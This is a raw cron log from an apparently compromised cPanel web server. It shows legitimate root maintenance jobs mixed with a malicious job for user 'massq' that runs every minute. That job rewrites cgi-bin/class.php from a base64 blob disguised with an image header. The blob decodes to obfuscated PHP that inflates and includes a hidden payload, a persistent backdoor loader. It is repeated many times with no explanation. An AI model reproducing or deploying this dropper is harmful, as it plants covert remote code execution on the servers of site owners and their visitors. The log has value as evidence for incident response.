Nov 15 04:38:01 server CROND[9287]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:39:01 server CROND[9532]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:39:01 server CROND[9534]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 15 04:40:01 server CROND[9807]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 04:40:01 server CROND[9808]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 04:40:01 server CROND[9809]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 04:40:01 server CROND[9810]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:41:01 server CROND[10122]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:42:01 server CROND[10481]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 04:42:01 server CROND[10482]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:43:01 server CROND[10747]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:44:01 server CROND[10998]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:45:01 server CROND[11289]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 04:45:01 server CROND[11291]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:45:01 server CROND[11290]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 04:46:01 server CROND[11646]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:47:01 server CROND[11902]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:48:01 server CROND[12248]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:49:01 server CROND[12510]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:50:01 server CROND[12780]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 04:50:01 server CROND[12781]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 04:50:01 server CROND[12783]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:50:01 server CROND[12782]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 04:50:01 server CROND[12785]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
